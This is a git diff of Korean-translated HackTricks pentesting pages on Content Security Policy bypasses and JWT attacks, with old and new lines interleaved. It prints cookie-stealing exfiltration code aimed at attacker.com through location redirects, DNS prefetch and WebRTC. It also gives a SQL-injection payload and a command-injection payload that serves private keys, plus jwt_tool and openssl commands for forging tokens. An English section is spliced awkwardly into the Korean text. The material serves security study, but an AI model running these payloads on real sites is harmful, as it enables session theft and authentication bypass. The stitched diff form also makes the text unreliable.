SOME은 페이지의 엔드포인트에서 XSS(또는 매우 제한된 XSS)를 악용하여 **같은 출처의 다른 엔드포인트를 악용하는** 기술입니다. 이는 취약한 엔드포인트를 공격자 페이지에서 불러온 다음 공격자 페이지를 실제 악용하려는 동일 출처의 실제 엔드포인트로 새로 고침하여 수행됩니다. 이렇게 하면 **취약한 엔드포인트**가 **페이로드**의 **`opener`** 객체를 사용하여 **실제 악용하려는 엔드포인트의 DOM에 액세스**할 수 있습니다. 자세한 정보는 확인하세요:
|
||||
SOME은 페이지의 엔드포인트에서 XSS(또는 매우 제한된 XSS)를 악용하여 **같은 출처의 다른 엔드포인트를 악용하는** 기술입니다. 이는 취약한 엔드포인트를 공격자 페이지에서 로드한 다음 공격자 페이지를 실제 악용하려는 동일 출처의 실제 엔드포인트로 새로 고침하여 수행됩니다. 이렇게 하면 **취약한 엔드포인트**가 **페이로드**의 **`opener`** 객체를 사용하여 **악용하려는 실제 엔드포인트의 DOM에 액세스**할 수 있습니다. 자세한 정보는 확인하세요:
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
|
||||
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
게다가 **워드프레스**에는 `/wp-json/wp/v2/users/1?_jsonp=data`에 **JSONP** 엔드포인트가 있어 출력에 보낸 **데이터**를 **반영**할 것입니다(글자, 숫자, 점만 허용됨).
|
||||
|
||||
공격자는 해당 엔드포인트를 악용하여 워드프레스에 대한 **SOME 공격을 생성**하고 `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` 내에 **임베드**할 수 있습니다. 이 **스크립트**는 'self'에 의해 **허용**되기 때문에 **로드**될 것입니다. 게다가 워드프레스가 설치되어 있기 때문에 공격자는 **취약한** **콜백** 엔드포인트를 통해 **CSP를 우회**하여 사용자에게 더 많은 권한을 부여하거나 새 플러그인을 설치할 수 있습니다.\
|
||||
게다가 **워드프레스**에는 `/wp-json/wp/v2/users/1?_jsonp=data`에 **JSONP** 엔드포인트가 있습니다. 이 엔드포인트는 출력에 전송된 **데이터**를 **반영**하며(글자, 숫자, 점만 허용) 이를 악용하여 워드프레스에 대한 **SOME 공격**을 생성하고 `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`에 **내장**할 수 있습니다. 이 **스크립트**는 **'self'에 의해 허용**되기 때문에 **로드**될 것입니다. 게다가 워드프레스가 설치되어 있기 때문에, 공격자는 **취약한** **콜백** 엔드포인트를 통해 **CSP를 우회**하여 사용자에게 더 많은 권한을 부여하거나 새 플러그인을 설치할 수 있습니다.\
|
||||
이 공격을 수행하는 방법에 대한 자세한 정보는 [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)에서 확인하세요.
|
||||
|
||||
### CSP 유출 우회
|
||||
## CSP 유출 우회
|
||||
|
||||
외부 서버와 **상호 작용을 허용하지 않는 엄격한 CSP**가 있는 경우 정보를 유출하는 데 사용할 수 있는 몇 가지 방법이 있습니다.
|
||||
외부 서버와 **상호 작용을 허용하지 않는 엄격한 CSP**가 있는 경우, 정보를 유출하는 데 사용할 수 있는 몇 가지 방법이 있습니다.
|
||||
|
||||
#### Location
|
||||
### Location
|
||||
|
||||
공격자의 서버로 비밀 정보를 보내기 위해 위치를 업데이트할 수 있습니다:
|
||||
|
||||
```javascript
|
||||
var sessionid = document.cookie.split('=')[1]+".";
|
||||
document.location = "https://attacker.com/?" + sessionid;
|
||||
```
|
||||
### 메타 태그
|
||||
|
||||
#### 메타 태그
|
||||
|
||||
메타 태그를 삽입하여 리다이렉트할 수 있습니다 (이것은 단순히 리다이렉트이며 콘텐츠가 유출되지는 않습니다)
|
||||
|
||||
메타 태그를 삽입하여 리다이렉트할 수 있습니다 (이것은 단순히 리다이렉트이며 콘텐츠를 노출하지는 않습니다).
|
||||
```html
|
||||
<meta http-equiv="refresh" content="1; http://attacker.com">
|
||||
```
|
||||
### DNS Prefetch
|
||||
|
||||
#### DNS Prefetch
|
||||
|
||||
페이지를 더 빨리로드하기 위해 브라우저는 호스트 이름을 IP 주소로 사전 해결하고 나중에 사용하기 위해 캐시에 저장합니다.\
|
||||
브라우저에게 호스트 이름을 사전 해결하도록 지시할 수 있습니다: `<link rel="dns-prefetch" href="something.com">`
|
||||
페이지를 더 빨리로드하기 위해 브라우저는 호스트 이름을 IP 주소로 사전 해결하고 나중에 사용할 수 있도록 캐시합니다.\
|
||||
브라우저에 호스트 이름을 사전 해결하도록 지시할 수 있습니다: `<link rel="dns-prefetch" href="something.com">`
|
||||
|
||||
이 동작을 악용하여 **DNS 요청을 통해 민감한 정보를 유출**할 수 있습니다:
|
||||
|
||||
```javascript
|
||||
var sessionid = document.cookie.split('=')[1]+".";
|
||||
var body = document.getElementsByTagName('body')[0];
|
||||
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
|
||||
```
|
||||
|
||||
### Content Security Policy (CSP) Bypass
|
||||
|
||||
#### Bypassing CSP using `unsafe-inline`
|
||||
|
||||
When a website has a strict CSP that does not allow `unsafe-inline` scripts, you can bypass it by injecting your script using a trusted inline script. For example, if the website allows Google Analytics scripts, you can inject your malicious script within the Google Analytics script tag.
|
||||
|
||||
```html
|
||||
<script>
|
||||
// Your malicious script here
|
||||
</script>
|
||||
```
|
||||
|
||||
#### Bypassing CSP using `unsafe-eval`
|
||||
|
||||
If a website restricts `unsafe-eval` but allows `unsafe-inline`, you can bypass it by using `eval()` function within an inline script.
|
||||
|
||||
```html
|
||||
<script>
|
||||
eval('alert("Bypassed CSP using unsafe-eval")');
|
||||
</script>
|
||||
```
|
||||
|
||||
#### Bypassing CSP using Data URI
|
||||
|
||||
You can bypass CSP restrictions by using Data URI to embed your script directly into the HTML document.
|
||||
|
||||
```html
|
||||
<script src="data:text/javascript;base64,Y29uc29sZS5sb2coIkJheXBvc2VkIENTUCB1c2luZyBkYXRhIFVSSSIpOw=="></script>
|
||||
```
|
||||
|
||||
#### Bypassing CSP using Trusted Domains
|
||||
|
||||
If a website allows scripts from trusted domains, you can host your malicious script on a trusted domain and load it on the target website.
|
||||
|
||||
```html
|
||||
<script src="https://your-trusted-domain.com/malicious-script.js"></script>
|
||||
```
|
||||
|
||||
By using these techniques, you can bypass Content Security Policy restrictions and execute your malicious scripts on the target website.
|
||||
|
||||
다른 방법:
|
||||
```javascript
|
||||
const linkEl = document.createElement('link');
|
||||
linkEl.rel = 'prefetch';
|
||||
linkEl.href = urlWithYourPreciousData;
|
||||
document.head.appendChild(linkEl);
|
||||
```
|
||||
|
||||
이를 방지하기 위해 서버는 다음 HTTP 헤더를 보낼 수 있습니다:
|
||||
|
||||
```
|
||||
X-DNS-Prefetch-Control: off
|
||||
```
|
||||
|
||||
{% hint style="info" %}
|
||||
이 기술은 헤드리스 브라우저(봇)에서는 작동하지 않는 것으로 보입니다.
|
||||
이 기술은 헤드리스 브라우저(봇)에서 작동하지 않는 것으로 보입니다.
|
||||
{% endhint %}
|
||||
|
||||
#### WebRTC
|
||||
### WebRTC
|
||||
|
||||
여러 페이지에서 **WebRTC가 CSP의 `connect-src` 정책을 확인하지 않는다**고 읽을 수 있습니다.
|
||||
|
||||
실제로 \_DNS 요청\_을 사용하여 정보를 \_유출\_할 수 있습니다. 다음 코드를 확인하세요:
|
||||
여러 페이지에서 **WebRTC는 CSP의 `connect-src` 정책을 확인하지 않는다**고 읽을 수 있습니다.
|
||||
|
||||
실제로 _DNS 요청_을 사용하여 정보를 _유출_할 수 있습니다. 이 코드를 확인해보세요:
|
||||
```javascript
|
||||
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
|
||||
```
|
||||
|
||||
다른 옵션:
|
||||
|
||||
```javascript
|
||||
var pc = new RTCPeerConnection({
|
||||
"iceServers":[
|
||||
|
@ -904,17 +742,16 @@ var pc = new RTCPeerConnection({
|
|||
});
|
||||
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||||
```
|
||||
|
||||
### 온라인으로 CSP 정책 확인하기
|
||||
## 온라인으로 CSP 정책 확인하기
|
||||
|
||||
* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
||||
* [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
|
||||
|
||||
### CSP 자동 생성
|
||||
## CSP 자동 생성
|
||||
|
||||
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
|
||||
|
||||
### 참고 자료
|
||||
## 참고 자료
|
||||
|
||||
* [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
|
||||
* [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
|
||||
|
@ -926,20 +763,20 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
|||
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (377).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 가입하여 경험 많은 해커 및 버그 바운티 헌터들과 소통하세요!
|
||||
|
||||
**해킹 통찰력**\
|
||||
**해킹 통찰**\
|
||||
해킹의 즐거움과 도전에 대해 탐구하는 콘텐츠에 참여하세요
|
||||
|
||||
**실시간 해킹 뉴스**\
|
||||
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 따라가세요
|
||||
실시간 뉴스와 통찰을 통해 빠르게 변화하는 해킹 세계를 따라가세요
|
||||
|
||||
**최신 공지**\
|
||||
최신 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대해 알아두세요
|
||||
|
||||
\*\*[Discord](https://discord.com/invite/N3FrSbmwdy)\*\*에 가입하여 최고의 해커들과 협업을 시작하세요!
|
||||
**[Discord](https://discord.com/invite/N3FrSbmwdy)**에 참여하여 최고의 해커들과 협업을 시작하세요!
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -948,9 +785,9 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
|||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [텔레그램 그룹](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영월까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_유창한 폴란드어 필수_).
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중**! (_유창한 폴란드어 필수_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -25,7 +25,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
### **빠른 승리**
|
||||
|
||||
[**jwt\_tool**](https://github.com/ticarpi/jwt\_tool)을 `All Tests!` 모드로 실행하고 녹색 줄을 기다리세요
|
||||
[**jwt\_tool**](https://github.com/ticarpi/jwt\_tool)을 `All Tests!` 모드로 실행하고 녹색 줄을 기다리세요.
|
||||
```bash
|
||||
python3 jwt_tool.py -M at \
|
||||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||||
|
@ -47,39 +47,39 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
|||
|
||||
JWT의 서명이 확인되는지 확인하려면:
|
||||
|
||||
* 오류 메시지가 지속적인 확인을 제안하면; 상세 정보가 포함된 상세한 오류를 검토해야 합니다.
|
||||
* 반환된 페이지의 변경은 확인을 나타냅니다.
|
||||
* 변경이 없으면 확인이 없음을 나타냅니다; 이때는 페이로드 클레임을 조작해 실험해야 합니다.
|
||||
* 오류 메시지가 지속적인 확인을 제안함; 상세 정보가 포함된 상세한 오류를 검토해야 함.
|
||||
* 반환된 페이지의 변경도 확인을 나타냄.
|
||||
* 변경이 없으면 확인이 없음을 나타냄; 이때는 페이로드 클레임을 조작해 실험해야 함.
|
||||
|
||||
### 출처
|
||||
|
||||
토큰이 서버 측에서 생성되었는지 또는 클라이언트 측에서 생성되었는지를 확인하여 중요합니다. 이를 위해 프록시의 요청 기록을 조사합니다.
|
||||
토큰이 서버 측에서 생성되었는지 또는 클라이언트 측에서 생성되었는지를 확인하기 위해 프록시의 요청 기록을 조사하는 것이 중요합니다.
|
||||
|
||||
* 클라이언트 측에서 처음 본 토큰은 키가 클라이언트 측 코드에 노출될 수 있음을 나타내며, 추가 조사가 필요합니다.
|
||||
* 서버 측에서 시작된 토큰은 안전한 프로세스를 나타냅니다.
|
||||
* 클라이언트 측에서 처음 본 토큰은 키가 클라이언트 측 코드에 노출될 수 있음을 나타내며, 추가 조사가 필요함.
|
||||
* 서버 측에서 발생한 토큰은 안전한 프로세스를 나타냄.
|
||||
|
||||
### 기간
|
||||
|
||||
토큰이 24시간 이상 유지되는지 확인하세요... 아마 만료되지 않을 수도 있습니다. "exp" 필드가 있는 경우 서버가 올바르게 처리하는지 확인하세요.
|
||||
|
||||
### HMAC 비밀번호 무차별 대입
|
||||
### HMAC 비밀 키 무차별 대입
|
||||
|
||||
[**이 페이지를 참조하세요.**](../generic-methodologies-and-resources/brute-force.md#jwt)
|
||||
|
||||
### 알고리즘을 None으로 변경(CVE-2015-9235)
|
||||
### 알고리즘을 None으로 수정하기
|
||||
|
||||
사용된 알고리즘을 "None"으로 설정하고 서명 부분을 제거하세요.
|
||||
|
||||
Burp 확장 기능인 "JSON Web Token"을 사용하여 이 취약점을 시도하고 JWT 내부의 다른 값을 변경하세요(요청을 Repeater로 보내고 "JSON Web Token" 탭에서 토큰의 값을 수정할 수 있습니다. 또한 "Alg" 필드의 값을 "None"으로 설정할 수 있습니다).
|
||||
Burp 확장 기능인 "JSON Web Token"을 사용하여 이 취약점을 시도하고 JWT 내부의 다른 값을 변경할 수 있습니다(요청을 Repeater로 보내고 "JSON Web Token" 탭에서 토큰의 값을 수정할 수 있습니다. 또한 "Alg" 필드의 값을 "None"으로 설정할 수도 있습니다).
|
||||
|
||||
### RS256(비대칭) 알고리즘을 HS256(대칭)으로 변경(CVE-2016-5431/CVE-2016-10555)
|
||||
### RS256(비대칭) 알고리즘을 HS256(대칭)으로 변경하기 (CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
알고리즘 HS256는 각 메시지를 서명하고 확인하기 위해 비밀 키를 사용합니다.\
|
||||
알고리즘 RS256는 메시지를 서명하기 위해 개인 키를 사용하고 인증에는 공개 키를 사용합니다.
|
||||
알고리즘 HS256은 각 메시지를 서명하고 확인하기 위해 비밀 키를 사용합니다.\
|
||||
알고리즘 RS256은 메시지를 서명하기 위해 개인 키를 사용하고 인증을 위해 공개 키를 사용합니다.
|
||||
|
||||
RS256에서 HS256로 알고리즘을 변경하면 백엔드 코드가 공개 키를 비밀 키로 사용하고 그런 다음 HS256 알고리즘을 사용하여 서명을 확인합니다.
|
||||
|
||||
그런 다음 공개 키를 사용하여 RS256을 HS256로 변경하고 유효한 서명을 생성할 수 있습니다. 이를 실행하는 웹 서버의 인증서를 검색할 수 있습니다:
|
||||
그런 다음 공개 키를 사용하여 RS256을 HS256로 변경하여 유효한 서명을 생성할 수 있습니다. 이를 실행하는 웹 서버의 인증서를 검색할 수 있습니다:
|
||||
```bash
|
||||
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
||||
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||
|
@ -93,7 +93,7 @@ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
|||
|
||||
### JWKS 위조
|
||||
|
||||
지침은 JWT 토큰의 보안을 평가하는 방법을 상세히 설명하며, 특히 "jku" 헤더 클레임을 사용하는 경우에 대해 다룹니다. 이 클레임은 토큰의 확인에 필요한 공개 키가 포함된 JWKS (JSON Web Key Set) 파일에 연결해야 합니다.
|
||||
지침은 JWT 토큰의 보안을 평가하는 방법을 상세히 설명하며 특히 "jku" 헤더 클레임을 사용하는 경우에 대해 다룹니다. 이 클레임은 토큰의 확인에 필요한 공개 키가 포함된 JWKS (JSON Web Key Set) 파일에 연결해야 합니다.
|
||||
|
||||
* **"jku" 헤더를 사용한 토큰 평가**:
|
||||
* "jku" 클레임의 URL을 확인하여 적절한 JWKS 파일로 이어지는지 확인합니다.
|
||||
|
@ -114,29 +114,27 @@ python3 jwt_tool.py JWT_HERE -X s
|
|||
|
||||
#### "kid"를 통한 키 노출
|
||||
|
||||
헤더에 `kid` 클레임이 포함된 경우 해당 파일이나 해당 파일의 변형을 웹 디렉토리에서 검색하는 것이 좋습니다. 예를 들어, `"kid":"key/12345"`가 지정된 경우, 웹 루트에서 _/key/12345_ 및 _/key/12345.pem_ 파일을 검색해야 합니다.
|
||||
헤더에 `kid` 클레임이 포함되어 있는 경우 해당 파일이나 해당 파일의 변형을 웹 디렉토리에서 검색하는 것이 좋습니다. 예를 들어, `"kid":"key/12345"`가 지정된 경우, 웹 루트에서 _/key/12345_ 및 _/key/12345.pem_ 파일을 검색해야 합니다.
|
||||
|
||||
#### "kid"를 사용한 경로 탐색
|
||||
|
||||
`kid` 클레임은 파일 시스템을 탐색하는 데 악용될 수 있으며, 임의의 파일을 선택할 수 있게 할 수 있습니다. `kid` 값을 변경하여 특정 파일이나 서비스를 대상으로 하는 연결성을 테스트하거나 서버 측 요청 위조 (SSRF) 공격을 실행할 수 있습니다. 원래 서명을 유지한 채 JWT를 조작하여 `kid` 값을 변경하는 것은 jwt\_tool의 `-T` 플래그를 사용하여 아래와 같이 수행할 수 있습니다:
|
||||
`kid` 클레임은 파일 시스템을 탐색하는 데 악용될 수 있으며, 임의의 파일을 선택할 수 있게 해줄 수 있습니다. `kid` 값을 변경하여 특정 파일이나 서비스를 대상으로 하는 연결성을 테스트하거나 서버 측 요청 위조 (SSRF) 공격을 실행할 수 있습니다. 원래 서명을 유지한 채 JWT를 조작하여 `kid` 값을 변경하는 것은 jwt\_tool의 `-T` 플래그를 사용하여 아래와 같이 수행할 수 있습니다:
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
### JWT 및 JSON Web Tokens 해킹
|
||||
|
||||
예측 가능한 콘텐츠를 가진 파일을 대상으로 함으로써 유효한 JWT를 위조할 수 있습니다. 예를 들어, Linux 시스템의 `/proc/sys/kernel/randomize_va_space` 파일은 값 **2**를 포함하고 있으며, 이를 JWT 생성을 위한 대칭 암호로 사용할 수 있는 `kid` 매개변수에 사용할 수 있습니다.
|
||||
### 예측 가능한 콘텐츠를 가진 파일을 대상으로 함으로써 유효한 JWT를 위조할 수 있습니다. 예를 들어, Linux 시스템의 `/proc/sys/kernel/randomize_va_space` 파일은 값 **2**를 포함하고 있으며, 이를 JWT 생성을 위한 대칭 암호로 사용할 수 있습니다.
|
||||
|
||||
#### "kid"를 통한 SQL Injection
|
||||
|
||||
`kid` 클레임의 콘텐츠가 데이터베이스에서 비밀번호를 가져오는 데 사용된다면, `kid` 페이로드를 수정하여 SQL Injection을 수행할 수 있습니다. JWT 서명 프로세스를 변경하기 위해 SQL Injection을 사용하는 예시 페이로드는 다음과 같습니다:
|
||||
만약 `kid` 클레임의 콘텐츠가 데이터베이스에서 비밀번호를 가져오는 데 사용된다면, SQL Injection을 통해 `kid` 페이로드를 수정하여 SQL Injection을 수행할 수 있습니다. JWT 서명 프로세스를 변경하기 위해 SQL Injection을 사용하는 예시 페이로드는 다음과 같습니다:
|
||||
|
||||
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
|
||||
|
||||
이 변경으로 JWT 서명에 알려진 비밀 키인 `ATTACKER`가 사용됩니다.
|
||||
이 변경으로 JWT 서명을 위해 알려진 비밀 키인 `ATTACKER`를 사용하도록 강제됩니다.
|
||||
|
||||
#### "kid"를 통한 OS Injection
|
||||
|
||||
`kid` 매개변수가 명령 실행 컨텍스트 내에서 사용되는 파일 경로를 지정하는 시나리오는 원격 코드 실행 (RCE) 취약점으로 이어질 수 있습니다. `kid` 매개변수에 명령을 삽입함으로써 개인 키를 노출시킬 수 있습니다. RCE 및 키 노출을 달성하기 위한 예시 페이로드는 다음과 같습니다:
|
||||
`kid` 파라미터가 명령 실행 컨텍스트 내에서 사용되는 파일 경로를 지정하는 시나리오는 원격 코드 실행 (RCE) 취약점으로 이어질 수 있습니다. `kid` 파라미터에 명령을 삽입함으로써 개인 키를 노출시킬 수 있습니다. RCE 및 키 노출을 달성하기 위한 예시 페이로드는 다음과 같습니다:
|
||||
|
||||
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
|
||||
|
||||
|
@ -145,15 +143,15 @@ python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
|||
#### jku
|
||||
|
||||
jku는 **JWK Set URL**을 나타냅니다.\
|
||||
토큰이 "**jku**" **Header** 클레임을 사용한다면, 제공된 URL을 확인하십시오. 이 URL은 토큰을 확인하는 데 사용되는 공개 키를 보유하는 JWKS 파일을 가리켜야 합니다. 토큰을 조작하여 jku 값을 모니터링할 수 있는 웹 서비스로 지정하십시오.
|
||||
토큰이 “**jku**” **Header** 클레임을 사용한다면, **제공된 URL을 확인**하십시오. 이는 토큰을 확인하는 데 사용되는 공개 키를 보유하는 JWKS 파일이 포함된 URL을 가리켜야 합니다. 토큰을 조작하여 jku 값을 모니터링할 수 있는 웹 서비스로 지정하십시오.
|
||||
|
||||
먼저 새로운 개인 및 공개 키로 새 인증서를 생성해야 합니다.
|
||||
먼저 새로운 개인 및 공개 키를 사용하여 새 인증서를 생성해야 합니다.
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
|
||||
```
|
||||
그럼 예를 들어 [**jwt.io**](https://jwt.io)를 사용하여 **생성된 공개 및 개인 키로 새 JWT를 생성하고 매개 변수 jku를 생성된 인증서로 지정**할 수 있습니다. 유효한 jku 인증서를 만들기 위해 원본을 다운로드하고 필요한 매개 변수를 변경할 수 있습니다.
|
||||
그럼 예를 들어 [**jwt.io**](https://jwt.io)를 사용하여 **생성된 공개 및 개인 키로 새 JWT를 만들고 매개변수 jku를 생성된 인증서로 지정**할 수 있습니다. 유효한 jku 인증서를 만들기 위해 원본을 다운로드하고 필요한 매개변수를 변경할 수 있습니다.
|
||||
|
||||
공개 인증서에서 "e" 및 "n" 매개변수를 얻을 수 있습니다:
|
||||
```bash
|
||||
|
@ -166,7 +164,7 @@ print("e:", hex(key.e))
|
|||
```
|
||||
#### x5u
|
||||
|
||||
X.509 URL. PEM 형식으로 인코딩된 X.509 (인증서 형식 표준) 공개 인증서 세트를 가리키는 URI. 세트 내의 첫 번째 인증서는 이 JWT를 서명하는 데 사용된 인증서여야 합니다. 이어지는 각 인증서는 이전 인증서를 서명하여 인증서 체인을 완성합니다. X.509은 RFC 5280에서 정의됩니다. 인증서를 전송하기 위해서는 전송 보안이 필요합니다.
|
||||
X.509 URL. PEM 형식으로 인코딩된 X.509 (인증서 형식 표준) 공개 인증서 세트를 가리키는 URI입니다. 세트의 첫 번째 인증서는 이 JWT를 서명하는 데 사용된 인증서여야 합니다. 이어지는 각 인증서는 이전 인증서를 서명하여 인증서 체인을 완성합니다. X.509은 RFC 5280에서 정의되어 있습니다. 인증서를 전송하기 위해서는 전송 보안이 필요합니다.
|
||||
|
||||
**이 헤더를 귀하가 제어하는 URL로 변경**하고 요청을 받았는지 확인해보세요. 그런 경우 **JWT를 변조**할 수 있습니다.
|
||||
|
||||
|
@ -175,7 +173,7 @@ X.509 URL. PEM 형식으로 인코딩된 X.509 (인증서 형식 표준) 공개
|
|||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
||||
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||||
```
|
||||
그럼 예를 들어 [**jwt.io**](https://jwt.io)를 사용하여 **생성된 공개 및 개인 키로 새 JWT를 생성하고 매개변수 x5u를 .crt로 생성된 인증서로 지정할 수 있습니다.**
|
||||
그럼 예를 들어 [**jwt.io**](https://jwt.io)를 사용하여 **생성된 공개 및 개인 키로 새 JWT를 생성하고 매개 변수 x5u를 생성된 .crt 인증서로 지정할 수 있습니다.**
|
||||
|
||||
![](<../.gitbook/assets/image (953).png>)
|
||||
|
||||
|
@ -183,11 +181,11 @@ openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
|||
|
||||
#### x5c
|
||||
|
||||
이 매개변수에는 **base64로 된 인증서**가 포함될 수 있습니다:
|
||||
이 매개 변수에는 **base64로 인코딩된 인증서**가 포함될 수 있습니다:
|
||||
|
||||
![](<../.gitbook/assets/image (1116).png>)
|
||||
|
||||
공격자가 **자체 서명된 인증서를 생성**하고 해당 개인 키를 사용하여 위조 토큰을 생성하고 "x5c" 매개변수의 값을 새로 생성된 인증서로 대체하고 다른 매개변수인 n, e 및 x5t를 수정하면 위조된 토큰이 서버에서 수락되게 됩니다.
|
||||
공격자가 **자체 서명된 인증서를 생성**하고 해당 개인 키를 사용하여 위조 토큰을 생성하고 "x5c" 매개 변수의 값을 새로 생성된 인증서로 대체하고 다른 매개 변수인 n, e 및 x5t를 수정하면 사실상 위조된 토큰이 서버에서 수락될 수 있습니다.
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||||
openssl x509 -in attacker.crt -text
|
||||
|
@ -198,7 +196,7 @@ openssl x509 -in attacker.crt -text
|
|||
|
||||
![](<../.gitbook/assets/image (619).png>)
|
||||
|
||||
다음 nodejs 스크립트를 사용하여 해당 데이터에서 공개 키를 생성할 수 있습니다:
|
||||
다음 Node.js 스크립트를 사용하여 해당 데이터에서 공개 키를 생성할 수 있습니다:
|
||||
```bash
|
||||
const NodeRSA = require('node-rsa');
|
||||
const fs = require('fs');
|
||||
|
